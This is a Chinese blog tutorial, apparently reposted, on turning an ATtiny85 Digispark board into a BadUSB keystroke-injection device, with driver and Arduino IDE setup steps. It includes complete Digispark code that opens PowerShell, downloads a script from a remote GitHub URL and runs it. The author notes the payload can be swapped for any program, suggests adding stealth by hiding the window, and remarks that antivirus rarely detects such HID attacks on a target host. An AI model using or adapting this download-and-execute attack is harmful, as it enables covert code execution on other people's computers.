利用ATiny85制作BadUSB
作者:互联网
0x00.准备:
ATiny85的板子
淘宝十元包邮。有两款,两款都可以,建议选择左边的,这样可以直接插入USB口,第二款也可以,不过需要一根Micro的数据线(旧款安卓手机使用的线)。
电脑安装驱动
当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!
https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip
下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。
下图是驱动安装完成的截图.
配置烧录软件
推荐使用Arduino IDE。到Arduino官方网站进行下载安装
下载网址:https://www.arduino.cc/en/Main/Software?setlang=cn
进入程序界面后,点击 文件 --> 首选项。
将http://digistump.com/package_digistump_index.json 复制到红色线框标记的地方。
然后在 工具 选择Boards Manager...
等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。
下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP
插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
烧录进去程序后,设备管理器就不会闪了。
0x02.烧录代码
贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)
#include "DigiKeyboard.h" void setup() { DigiKeyboard.delay(600); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(300); DigiKeyboard.println("POWERSHELL -NOP"); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.println("$client = new-object System.Net.WebClient"); DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')"); DigiKeyboard.delay(3000); DigiKeyboard.println("e:\\test.ps1"); DigiKeyboard.delay(300); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.println("exit"); } void loop() { }
将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。
如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!
0x03.总结
此脚本还有很多不完善的地方,这里为了方便自己可以调试,以及可以看到所有过程,所以没有做一些“隐蔽性”工作,后续可以自己完善。(比如,使用cmd窗口来执行powershell命令,以及对cmd窗口进行小窗口来隐藏一下。)
目前杀毒软件对HID攻击检测不敏感,通过模拟键盘输入,来达到快速将想要执行的代码在目标主机上执行。
标签:DigiKeyboard,上传,BadUSB,安装,代码,delay,ATiny85,println,制作 来源: https://www.cnblogs.com/qtisec/p/10755856.html